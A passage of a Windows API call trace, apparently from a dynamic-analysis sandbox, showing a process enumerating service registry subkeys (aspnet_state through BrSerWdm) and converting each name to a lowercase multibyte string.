lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0211.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0211.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.673] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0211.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0211.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0211.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0211.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0211.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0211.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0211.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0211.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.674] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0211.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0211.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1d60, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0211.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0211.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0211.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0211.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0211.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0211.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0211.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0211.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.675] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0211.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0211.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.676] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0211.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0211.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0211.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.676] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0211.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0211.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0211.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.676] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0211.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0211.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0211.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.676] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0211.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0211.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0211.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.677] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0211.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0211.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0211.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.677] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0211.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0211.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.677] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0211.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0211.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0211.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.678] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0211.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0211.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.678] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0211.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0211.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.678] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0211.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0211.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0211.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.678] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0211.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0211.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0211.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0211.679] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0211.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0211.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0211.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0211.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0211.679] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0211.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0211.679] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0211.679] RtlFreeHeap (HeapHandle=0x2520000, 